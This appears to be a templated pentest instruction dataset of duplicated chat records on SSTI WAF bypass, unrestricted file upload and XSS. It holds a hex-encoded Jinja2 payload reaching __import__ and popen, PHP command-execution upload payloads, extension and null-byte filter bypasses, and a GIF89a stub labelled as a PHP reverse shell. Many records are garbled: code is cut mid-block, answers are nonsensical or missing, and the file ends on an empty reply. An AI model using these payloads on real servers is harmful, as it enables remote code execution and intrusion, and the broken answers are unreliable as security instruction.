[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 SSTI (Server-Side Template Injection) - WAF bypass

[Assistant] The web application may be under a Web Application Firewall, protecting a SSTI from abusing the server. However, there are a lot of creative way to bypass its restrictions.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 SSTI (Server-Side Template Injection) - WAF bypass

Response: The web application may be under a Web Application Firewall, protecting a SSTI from abusing the server. However, there are a lot of creative way to bypass its restrictions.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 SSTI (Server-Side Template Injection) - Bypass .?

[Assistant]
In some language, a property or a method is accessible with brackets, for example :

``js
variable.property == variable['property']
`

Using this is a common way to bypass the .` filter.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 SSTI (Server-Side Template Injection) - Bypass .?

Response:
In some language, a property or a method is accessible with brackets, for example :

``js
variable.property == variable['property']
`

Using this is a common way to bypass the .` filter.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 SSTI (Server-Side Template Injection) - Bypass .

[Assistant]
In some language, a property or a method is accessible with brackets, for example :

``js
variable.property == variable['property']
`

Using this is a common way to bypass the .` filter.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 SSTI (Server-Side Template Injection) - Bypass .

Response:
In some language, a property or a method is accessible with brackets, for example :

``js
variable.property == variable['property']
`

Using this is a common way to bypass the .` filter.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the variable.property syntax for 🛠 ssti (server-side template injection) - bypass .?

[Assistant] variable.property == variable['property']

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the variable.property syntax for 🛠 ssti (server-side template injection) - bypass .?

Response: variable.property == variable['property']


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 SSTI (Server-Side Template Injection) - Bypass . during a pentest?

[Assistant] variable.property == variable['property']

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 SSTI (Server-Side Template Injection) - Bypass . during a pentest?

Response: variable.property == variable['property']


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `variable.property == variable['property']`?

[Assistant] This command is used for 🛠 ssti (server-side template injection) - bypass .. Bypass .

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `variable.property == variable['property']`?

Response: This command is used for 🛠 ssti (server-side template injection) - bypass .. Bypass .


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 SSTI (Server-Side Template Injection) - Bypass _ and other special property symbols

[Assistant]
By combining the previous method with this one, WAF characters blacklist can be bypassed using hexadecimal encoding :

```py

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 SSTI (Server-Side Template Injection) - Bypass _ and other special property symbols

Response:
By combining the previous method with this one, WAF characters blacklist can be bypassed using hexadecimal encoding :

```py


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 SSTI (Server-Side Template Injection) - Bypass _ and other special property symbols?

[Assistant]
By combining the previous method with this one, WAF characters blacklist can be bypassed using hexadecimal encoding :

```py

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 SSTI (Server-Side Template Injection) - Bypass _ and other special property symbols?

Response:
By combining the previous method with this one, WAF characters blacklist can be bypassed using hexadecimal encoding :

```py


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of \x5f is equal to _

[Assistant]
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']'\x5f\x5fimport\x5f\x5f''popen'['read']() }}
``

Or with the full payload encoded :

``py

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of \x5f is equal to _

Response:
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']'\x5f\x5fimport\x5f\x5f''popen'['read']() }}
``

Or with the full payload encoded :

``py


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on \x5f is equal to _

[Assistant]
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']'\x5f\x5fimport\x5f\x5f''popen'['read']() }}
``

Or with the full payload encoded :

``py

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']'\x5f\x5fimport\x5f\x5f''popen'['read']() }}
``

Or with the full payload encoded :

``py


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Or for \x5f is equal to _?

[Assistant] Or with the full payload encoded :

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response: Or with the full payload encoded :


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on \x5f is equal to _

[Assistant] Or with the full payload encoded :

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: Or with the full payload encoded :


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Or with the full payload encoded :`?

[Assistant] This command is used for \x5f is equal to _. \x5f is equal to _

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Or with the full payload encoded :`?

Response: This command is used for \x5f is equal to _. \x5f is equal to _


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain This payload is the same than the previous one

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain This payload is the same than the previous one


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for This payload is the same than the previous one?

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for This payload is the same than the previous one?


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about 🛠 SSTI (Server-Side Template Injection) - Securing the app as a developer?

[Assistant]
When programming, it might be useful to know what the code behind a SSTI looks like. The following example uses a Python Flask server running with Jinja2 for easier understanding. However, the concept is the same with every language.

Here is a vulnerable source code.

```py
from flask import Flask, request, render_template_string

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about 🛠 SSTI (Server-Side Template Injection) - Securing the app as a developer?

Response:
When programming, it might be useful to know what the code behind a SSTI looks like. The following example uses a Python Flask server running with Jinja2 for easier understanding. However, the concept is the same with every language.

Here is a vulnerable source code.

```py
from flask import Flask, request, render_template_string


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through 🛠 SSTI (Server-Side Template Injection) - Securing the app as a developer

[Assistant]
When programming, it might be useful to know what the code behind a SSTI looks like. The following example uses a Python Flask server running with Jinja2 for easier understanding. However, the concept is the same with every language.

Here is a vulnerable source code.

```py
from flask import Flask, request, render_template_string

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through 🛠 SSTI (Server-Side Template Injection) - Securing the app as a developer

Response:
When programming, it might be useful to know what the code behind a SSTI looks like. The following example uses a Python Flask server running with Jinja2 for easier understanding. However, the concept is the same with every language.

Here is a vulnerable source code.

```py
from flask import Flask, request, render_template_string


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Home route?

[Assistant]
@app.route('/')
def home():
    if request.args.get('user'):
        # Render the 'user' argument
        return render_template_string('Welcome ' + request.args.get('user'))
    else:
        # Default page
        return render_template_string('Hello World!')
``

An attacker can perform a SSTI with the URL :

`
http://<server>/?user={{7*7}}  // Plain text
http://<server>/?user=%7B%7B7*7%7D%7D  // URL encoded
`

The template will then render with the response Welcome 49.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.

`py
@app.route('/')
def home():
    if request.args.get('user'):
        return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
    else:
        ...
``

Sometimes, it is not possible due to business conditions. One other way is to add a blacklist with all sensible characters and use a sandboxed environment. However, adding a blacklist is not the most popular option, as it can be easily bypassed.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
@app.route('/')
def home():
    if request.args.get('user'):
        # Render the 'user' argument
        return render_template_string('Welcome ' + request.args.get('user'))
    else:
        # Default page
        return render_template_string('Hello World!')
``

An attacker can perform a SSTI with the URL :

`
http://<server>/?user={{7*7}}  // Plain text
http://<server>/?user=%7B%7B7*7%7D%7D  // URL encoded
`

The template will then render with the response Welcome 49.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.

`py
@app.route('/')
def home():
    if request.args.get('user'):
        return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
    else:
        ...
``

Sometimes, it is not possible due to business conditions. One other way is to add a blacklist with all sensible characters and use a sandboxed environment. However, adding a blacklist is not the most popular option, as it can be easily bypassed.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Home route

[Assistant]
@app.route('/')
def home():
    if request.args.get('user'):
        # Render the 'user' argument
        return render_template_string('Welcome ' + request.args.get('user'))
    else:
        # Default page
        return render_template_string('Hello World!')
``

An attacker can perform a SSTI with the URL :

`
http://<server>/?user={{7*7}}  // Plain text
http://<server>/?user=%7B%7B7*7%7D%7D  // URL encoded
`

The template will then render with the response Welcome 49.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.

`py
@app.route('/')
def home():
    if request.args.get('user'):
        return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
    else:
        ...
``

Sometimes, it is not possible due to business conditions. One other way is to add a blacklist with all sensible characters and use a sandboxed environment. However, adding a blacklist is not the most popular option, as it can be easily bypassed.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
@app.route('/')
def home():
    if request.args.get('user'):
        # Render the 'user' argument
        return render_template_string('Welcome ' + request.args.get('user'))
    else:
        # Default page
        return render_template_string('Hello World!')
``

An attacker can perform a SSTI with the URL :

`
http://<server>/?user={{7*7}}  // Plain text
http://<server>/?user=%7B%7B7*7%7D%7D  // URL encoded
`

The template will then render with the response Welcome 49.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.

`py
@app.route('/')
def home():
    if request.args.get('user'):
        return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
    else:
        ...
``

Sometimes, it is not possible due to business conditions. One other way is to add a blacklist with all sensible characters and use a sandboxed environment. However, adding a blacklist is not the most popular option, as it can be easily bypassed.


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the An syntax for home route?

[Assistant] An attacker can perform a SSTI with the URL :

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response: An attacker can perform a SSTI with the URL :


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Home route

[Assistant] An attacker can perform a SSTI with the URL :

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Home route

Response: An attacker can perform a SSTI with the URL :


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `An attacker can perform a SSTI with the URL :`?

[Assistant] This command is used for home route. Home route

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `An attacker can perform a SSTI with the URL :`?

Response: This command is used for home route. Home route


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the The command to home route

[Assistant]
The template will then render with the response `Welcome 49`.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response:
The template will then render with the response `Welcome 49`.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do Home route

[Assistant]
The template will then render with the response `Welcome 49`.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
The template will then render with the response `Welcome 49`.

To fix the problem, the developer should avoid rendering user input. To include user input in the template, the developer should use variable parameters like the following example.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `The template will then render with the response `Welcome 49`.`?

[Assistant] This command is used for home route. Home route

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `The template will then render with the response `Welcome 49`.`?

Response: This command is used for home route. Home route


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Unrestricted file upload - Theory

[Assistant]
Many web applications manage files and allow users to upload and download pictures, documents and so on (e.g. profile pictures). When file upload procedures are not secured enough, attackers can sometimes upload content that servers will execute when later requested or included (PHP, ASP, JSP...).

Among other things, unrestricted file uploads can lead to defacement (visual appearance alteration), client-side attacks (like XSS), or even RCE (Remote Code Execution).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Unrestricted file upload - Theory

Response:
Many web applications manage files and allow users to upload and download pictures, documents and so on (e.g. profile pictures). When file upload procedures are not secured enough, attackers can sometimes upload content that servers will execute when later requested or included (PHP, ASP, JSP...).

Among other things, unrestricted file uploads can lead to defacement (visual appearance alteration), client-side attacks (like XSS), or even RCE (Remote Code Execution).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Unrestricted file upload - Theory during a pentest?

[Assistant]
Many web applications manage files and allow users to upload and download pictures, documents and so on (e.g. profile pictures). When file upload procedures are not secured enough, attackers can sometimes upload content that servers will execute when later requested or included (PHP, ASP, JSP...).

Among other things, unrestricted file uploads can lead to defacement (visual appearance alteration), client-side attacks (like XSS), or even RCE (Remote Code Execution).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Unrestricted file upload - Theory during a pentest?

Response:
Many web applications manage files and allow users to upload and download pictures, documents and so on (e.g. profile pictures). When file upload procedures are not secured enough, attackers can sometimes upload content that servers will execute when later requested or included (PHP, ASP, JSP...).

Among other things, unrestricted file uploads can lead to defacement (visual appearance alteration), client-side attacks (like XSS), or even RCE (Remote Code Execution).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Unrestricted file upload - Practice?

[Assistant]
Testers need to find forms that allow users to upload content. On a server using PHP, the following test can be operated.

1. Upload a PHP file with the following content: <?php phpinfo(); ?>
2. Find a way to request or include that file
3. Assert that the phpinfo() function is executed
4. Repeat steps 1 to 3 but with a PHP file with a code execution payload: <?php system('whoami'); ?>

> [!TIP]
> As command execution functions can be filtered (system, passthru, exec, shell_exec), the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

Exploiting unrestricted file uploads is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed.

* Filename: depending on the filters put in place, some tricks can sometimes work like
    * using a valid but lesser known extension to bypass blacklists (let's say the .php extension is blacklisted, what about .php3, .php4, .php5, .php6, .pht, .phpt and .phtml ?)
    * using a double extension like .jpg.php or .php.jpg can sometimes work, either when filenames are badly filtered and controlled, or when Apache HTTP servers are badly configured. On Apache servers, when files have multiple extensions, each extension is mapped either to a MIME type or to a handler. If one of the extensions is mapped to a handler, the requested file will be interpreted with that handler. Consequently, if the .php extension is mapped to a PHP handler in the Apache configuration, a filename with multiple extensions will always be interpreted as a PHP file when requested if one of the extensions is .php.
    * using a NULL byte or another separator to bypass filters that do but don't check control characters such as null characters (.php%00.jpg or .php\x00.jpg) (this as been fixed in PHP 5.3.4), or a separator like .asp;.jpg (IIS6 and prior). The file will then be uploaded with the .php extension and it will possible to request it and make the server interpret its content.
    * alternating

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Unrestricted file upload - Practice?

Response:
Testers need to find forms that allow users to upload content. On a server using PHP, the following test can be operated.

1. Upload a PHP file with the following content: <?php phpinfo(); ?>
2. Find a way to request or include that file
3. Assert that the phpinfo() function is executed
4. Repeat steps 1 to 3 but with a PHP file with a code execution payload: <?php system('whoami'); ?>

> [!TIP]
> As command execution functions can be filtered (system, passthru, exec, shell_exec), the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

Exploiting unrestricted file uploads is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed.

* Filename: depending on the filters put in place, some tricks can sometimes work like
    * using a valid but lesser known extension to bypass blacklists (let's say the .php extension is blacklisted, what about .php3, .php4, .php5, .php6, .pht, .phpt and .phtml ?)
    * using a double extension like .jpg.php or .php.jpg can sometimes work, either when filenames are badly filtered and controlled, or when Apache HTTP servers are badly configured. On Apache servers, when files have multiple extensions, each extension is mapped either to a MIME type or to a handler. If one of the extensions is mapped to a handler, the requested file will be interpreted with that handler. Consequently, if the .php extension is mapped to a PHP handler in the Apache configuration, a filename with multiple extensions will always be interpreted as a PHP file when requested if one of the extensions is .php.
    * using a NULL byte or another separator to bypass filters that do but don't check control characters such as null characters (.php%00.jpg or .php\x00.jpg) (this as been fixed in PHP 5.3.4), or a separator like .asp;.jpg (IIS6 and prior). The file will then be uploaded with the .php extension and it will possible to request it and make the server interpret its content.
    * alternating


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Unrestricted file upload - Practice during a pentest?

[Assistant]
Testers need to find forms that allow users to upload content. On a server using PHP, the following test can be operated.

1. Upload a PHP file with the following content: <?php phpinfo(); ?>
2. Find a way to request or include that file
3. Assert that the phpinfo() function is executed
4. Repeat steps 1 to 3 but with a PHP file with a code execution payload: <?php system('whoami'); ?>

> [!TIP]
> As command execution functions can be filtered (system, passthru, exec, shell_exec), the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

Exploiting unrestricted file uploads is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed.

* Filename: depending on the filters put in place, some tricks can sometimes work like
    * using a valid but lesser known extension to bypass blacklists (let's say the .php extension is blacklisted, what about .php3, .php4, .php5, .php6, .pht, .phpt and .phtml ?)
    * using a double extension like .jpg.php or .php.jpg can sometimes work, either when filenames are badly filtered and controlled, or when Apache HTTP servers are badly configured. On Apache servers, when files have multiple extensions, each extension is mapped either to a MIME type or to a handler. If one of the extensions is mapped to a handler, the requested file will be interpreted with that handler. Consequently, if the .php extension is mapped to a PHP handler in the Apache configuration, a filename with multiple extensions will always be interpreted as a PHP file when requested if one of the extensions is .php.
    * using a NULL byte or another separator to bypass filters that do but don't check control characters such as null characters (.php%00.jpg or .php\x00.jpg) (this as been fixed in PHP 5.3.4), or a separator like .asp;.jpg (IIS6 and prior). The file will then be uploaded with the .php extension and it will possible to request it and make the server interpret its content.
    * alternating

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Unrestricted file upload - Practice during a pentest?

Response:
Testers need to find forms that allow users to upload content. On a server using PHP, the following test can be operated.

1. Upload a PHP file with the following content: <?php phpinfo(); ?>
2. Find a way to request or include that file
3. Assert that the phpinfo() function is executed
4. Repeat steps 1 to 3 but with a PHP file with a code execution payload: <?php system('whoami'); ?>

> [!TIP]
> As command execution functions can be filtered (system, passthru, exec, shell_exec), the phpinfo testing phase is required to assert that arbitrary PHP code is included and interpreted.

Exploiting unrestricted file uploads is like playing "cat and mouse". Inputs can be filtered and filters can be bypassed.

* Filename: depending on the filters put in place, some tricks can sometimes work like
    * using a valid but lesser known extension to bypass blacklists (let's say the .php extension is blacklisted, what about .php3, .php4, .php5, .php6, .pht, .phpt and .phtml ?)
    * using a double extension like .jpg.php or .php.jpg can sometimes work, either when filenames are badly filtered and controlled, or when Apache HTTP servers are badly configured. On Apache servers, when files have multiple extensions, each extension is mapped either to a MIME type or to a handler. If one of the extensions is mapped to a handler, the requested file will be interpreted with that handler. Consequently, if the .php extension is mapped to a PHP handler in the Apache configuration, a filename with multiple extensions will always be interpreted as a PHP file when requested if one of the extensions is .php.
    * using a NULL byte or another separator to bypass filters that do but don't check control characters such as null characters (.php%00.jpg or .php\x00.jpg) (this as been fixed in PHP 5.3.4), or a separator like .asp;.jpg (IIS6 and prior). The file will then be uploaded with the .php extension and it will possible to request it and make the server interpret its content.
    * alternating


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use GIF89a for unrestricted file upload - practice?

[Assistant]
GIF89a
<?php
// php reverse shell
?>

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use GIF89a for unrestricted file upload - practice?

Response:
GIF89a
<?php
// php reverse shell
?>


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Unrestricted file upload - Practice?

[Assistant]
GIF89a
<?php
// php reverse shell
?>

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Unrestricted file upload - Practice?

Response:
GIF89a
<?php
// php reverse shell
?>


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GIF89a`?

[Assistant] This command is used for unrestricted file upload - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for unrestricted file upload - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does XSS (Cross-Site Scripting) - Theory work?

[Assistant]
Many web applications have input vectors that users can interact with. When those inputs are reflected in the content of a page and not sanitized or filtered enough, attackers can try to inject malicious code to alter that page. The most common attacks that exploit such vulnerabilities are XSS (Cross-Site Scripting) and defacement attacks. While this kind of defacement only alters the visual appearance of a website, an XSS can allow attackers to inject code/scripts (JavaScript for example) that will be executed by victims browsers, hence causing much more trouble to the users.

Executing arbitrary code on a victim's browser can allow an attacker to perform Cookie theft (when the cookies are not secured, attackers can steal them and use them to authenticate as the victims without having to know their password), Keylogging (attackers can spy on the victims and recover their keystrokes) or Phishing (attackers can change the site appearance and behavior and trick victims into sending sensitive information to the attackers servers).

There are three major types of XSS:

* Stored: the user input is stored on the website. It usually happens on user profiles, forums, chats and so on were the user content is permanently (or temporarily) stored. Attackers can inject malicious payloads and every user browsing the infected page will be affected. This is one of the most dangerous forms of XSS because exploitation requires no phishing and it can affect many users. XSS on pages that only the attacker's user has the right to browse (e.g. user settings page) are called self-XSS and are considered to have a close to 0 impact since it's theoretically can't affect other users.
* Reflected: the user input is reflected but not stored. It usually happens on search forms, login pages and pages that reflect content for one response only. When the reflected vulnerable input is in the URI (http://www.target.com/search.php?keyword=INJECTION) attackers can craft a malicious URI and send it to t

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does XSS (Cross-Site Scripting) - Theory work?

Response:
Many web applications have input vectors that users can interact with. When those inputs are reflected in the content of a page and not sanitized or filtered enough, attackers can try to inject malicious code to alter that page. The most common attacks that exploit such vulnerabilities are XSS (Cross-Site Scripting) and defacement attacks. While this kind of defacement only alters the visual appearance of a website, an XSS can allow attackers to inject code/scripts (JavaScript for example) that will be executed by victims browsers, hence causing much more trouble to the users.

Executing arbitrary code on a victim's browser can allow an attacker to perform Cookie theft (when the cookies are not secured, attackers can steal them and use them to authenticate as the victims without having to know their password), Keylogging (attackers can spy on the victims and recover their keystrokes) or Phishing (attackers can change the site appearance and behavior and trick victims into sending sensitive information to the attackers servers).

There are three major types of XSS:

* Stored: the user input is stored on the website. It usually happens on user profiles, forums, chats and so on were the user content is permanently (or temporarily) stored. Attackers can inject malicious payloads and every user browsing the infected page will be affected. This is one of the most dangerous forms of XSS because exploitation requires no phishing and it can affect many users. XSS on pages that only the attacker's user has the right to browse (e.g. user settings page) are called self-XSS and are considered to have a close to 0 impact since it's theoretically can't affect other users.
* Reflected: the user input is reflected but not stored. It usually happens on search forms, login pages and pages that reflect content for one response only. When the reflected vulnerable input is in the URI (http://www.target.com/search.php?keyword=INJECTION) attackers can craft a malicious URI and send it to t


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on XSS (Cross-Site Scripting) - Theory

[Assistant]
